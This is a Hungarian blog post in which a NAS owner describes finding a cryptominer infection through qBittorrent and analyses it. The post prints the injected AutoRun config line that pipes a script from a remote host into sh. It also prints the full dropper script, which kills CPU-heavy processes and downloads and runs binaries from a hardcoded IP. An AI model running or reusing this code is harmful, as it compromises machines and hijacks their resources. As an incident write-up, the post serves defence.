Rosszindulatú kódot futtathat a qBittorrent
Van egy NAS-om, amit torrentezésre és zenék tárolására használok. Igen, én még ilyen őskövület vagyok, akinek nincsenek különféle streaming előfizetései.
Akkor kezdett gyanús lenni a dolog, amikor egyszer csak elkezdett ész nélkül pörögni, tekerni, recsegtek ropogtak benne a diszkek.
Amikor beléptem a webes felületre, a processz kezelőben találtam egy random karakterekből álló folyamatot, ami 90%-on pörgette a CPU-t és a memóriát is mind felzabálta. Webes felületről nem lehet kilőni ezeket, ezért bekapcsoltam az ssh-t és konzolról léptem be.
Nyomtam is rögtön egy kill -9
-et a processznek. Szépen le is állt elkussolt. Hiába kutattam, ilyen nevű fájlt nem találtam a masinán.
Sem a clamav, sem az rkhunter nem talált semmi gyanúsat rajta. Újraindítás után nem sokkal újból megjelent egy random nevű processz, ami felzabálta a CPU-t és a memóriát és közben a diszkeket is vadul tekerte.
A clamav és az rkunter megint nem talált semmit, sőt a chkrootkitnek sem volt gyanús semmi.
Miután a processzt kilőttem, megint napokig csönd volt. Valamit le akartam torrentezni (talán egy debian isot) és azt néztem hogy a qBittorrent kliensem elég régi, ugyanis a 4.6.3-as fut a gépen. Ez tavaly januári szóval frissnek nem mondható.
Frissítsük!
A legújabb változat a Qt 6-ra épülő 5.1, ami egy csomó hasznos új dolgot is tartalmaz.
A frissítés nem volt nagy mutatvány, viszont a webes felülete nem fogadta el az addig megszokott felhasználónevet és jelszót. Ilyet csinált már egy-egy frissítéskor az előző is, szóval tudtam mit kell csinálni.
Ahogy megnyitottam a qbittorrent.conf fájlt, nem akartam hinni a szememnek!
Ez volt az "AutoRun" szekcióban ni:
[AutoRun]
OnTorrentAdded\Enabled=true
OnTorrentAdded\Program=" sh -c \"(curl -sk https://fulminare.top || wget --no-check-certificate -qO - https://fulminare.top) | sh\""
enabled=true
program=" sh -c \"(curl -sk https://fulminare.top || wget --no-check-certificate -qO - https://fulminare.top) | sh\""
</pre>
Ez ezt csinálta, hogy minden torrent hozzáadáskor letöltött egy szkriptet egy fertőzött weboldalról és elkezdte futtatni.
Valószínűleg sikerült letöltenem egy speciálisan manipulált torrent fájlt, ami képes volt valahogy rávenni a qBittorrentet, hogy a fentiek szerint módosítsa a beállításait.
És a szemét geci berakott egy csomó szóközt a parancs elé, úgyhogy a beállítás ablakban a beviteli mezőben nem látszott. Mondjuk nem is sűrűn piszkáltam a beállításokat, úgyhogy szinte esélytelen is volt, hogy itt feltűnjön valami.
Azonnal töröltem az egész AutoRun szekciót a config fájlból!
Na de nézzük mit is töltött le, mit futtatott!
#!/bin/sh
ARCH=$(uname -m)
FILE=$(head -c 32 /dev/urandom | tr -dc 'A-Za-z0-9' | head -c 8 2>/dev/null) || FILE=$(head -c 32 /dev/urandom | awk '{ for(i=1; i<=length($0); i++) if (substr($0, i, 1) ~ /[A-Za-z0-9]/) printf "%s", substr($0, i, 1); }' | head -c 8 2>/dev/null)
if ([ "$(grep -c 4E1F /proc/net/tcp)" -eq 0 ] >/dev/null 2>&1) || (command -v sockstat >/dev/null 2>&1 && [ "$(sockstat | grep 19999 | wc -l)" -eq 0 ]); then
EXEC=$(for i in $(mount | grep -awv noexec | grep -aw "rw" | awk '{print $3}'); do find $i -maxdepth 0 -type d -executable 2>/dev/null; done)
(ps -eo pid,%cpu --sort=-%cpu | awk '$2 > 50 {print $1}' | xargs -I % kill -9 %) >/dev/null 2>&1
if [ "$ARCH" = "x86_64" ]; then
for i in /tmp $PWD $HOME $EXEC; do
(curl -sk http://77.110.110.55/1 -o "$i"/"$FILE" || wget --no-check-certificate -qO "$i"/"$FILE" http://77.110.110.55/1) >/dev/null 2>&1
(cd "$i" ; chmod +x "$FILE" ; ./"$FILE") >/dev/null 2>&1
rm -rf "$i"/"$FILE" >/dev/null 2>&1
sleep 30
if [ "$(grep -c ":4E1F" /proc/net/tcp)" -gt 0 ]; then
break
fi
done
elif [ "$ARCH" = "aarch64" ]; then
for i in /tmp $PWD $HOME $EXEC; do
(curl -sk http://77.110.110.55/2 -o "$i"/"$FILE" || wget --no-check-certificate -qO "$i"/"$FILE" http://77.110.110.55/2) >/dev/null 2>&1
(cd "$i" ; chmod +x "$FILE" >/dev/null 2>&1 ; ./"$FILE") >/dev/null 2>&1
rm -rf "$i"/"$FILE" >/dev/null 2>&1
sleep 30
if [ "$(grep -c 4E1F /proc/net/tcp)" -gt 0 ]; then
break
fi
done
elif [ "$ARCH" = "amd64" ]; then
for i in /tmp $PWD $HOME $EXEC; do
(curl -sk http://77.110.110.55/3 -o "$i"/support || wget --no-check-certificate -qO "$i"/support http://77.110.110.55/3) >/dev/null 2>&1
(cd "$i" ; chmod +x support >/dev/null 2>&1 ; ./support) >/dev/null 2>&1
rm -rf "$i"/support >/dev/null 2>&1
sleep 30
if [ "$(sockstat | grep 19999 | wc -l)" -gt 0 ]; then
break
fi
done
else
exit 1
fi
fi
</pre>
Mit csinál a gép?
- Generál egy véletlen, 8 karakter hosszú nevet, pl aB3dE9kZ
- Ellenőrzi az 19999-es porton a fertőzöttséget (hex: 4E1F)
- Kilő minden 50%-nál több CPU-t használó folyamatot - valószínűleg azért mert valami erőforrás igényes kriptobányász cucc lehet
- Letölti az architektúrának megfelelő binárist és futtatja
- Törli a fájlt, eltűntei a nyomokat
Mit mond a Virustotal?
Itt is megerősítést nyert, hogy valami kripto bányász moslékról van szó. Ez még a jobbik eset. Találkoztam már olyannal is, ami mindet titkosított és némi bitcoinért cserébe lett volna csak hajlandó visszaállítani az eredeti fájlokat.
Tanulság?
- Kurvára észen kell lenni, hogy milyen torrentet és milyen forrásból töltesz le. Rám nem jellemző, hogy kétes forrásokból töltök le valamit de azért előfordul, hogy ha valamit nagyon nem találok, akkor hajlamos vagyok kevésbé megbízható forrásokon is keresgélni.
- Ezeket a NAS-okat, amennyire csak lehet el kell szeparálni az internetről. Az ssh alapból be sincs kapcsolva, mert folyton próbálkoztak a belépéssel.
- Oda kell figyelni, rendszeresen ellenőrizni ki kell az állapotát és hogy miket csinál.
- A víruskeresők szart se érnek az ilyenek ellen
- Óriási mázli kellett hozzá, hogy megtaláljam
- Kifejezetten Linuxot futtató gépeket támad a kód. Méghogy Linuxra nincsenek vírusok?!
A NAS azóta szépen csendben teszi a dolgát. Semmi jele gyanús tevékenységnek.
Neked volt már dolgod hasonló vírussal? Írd meg kommentben!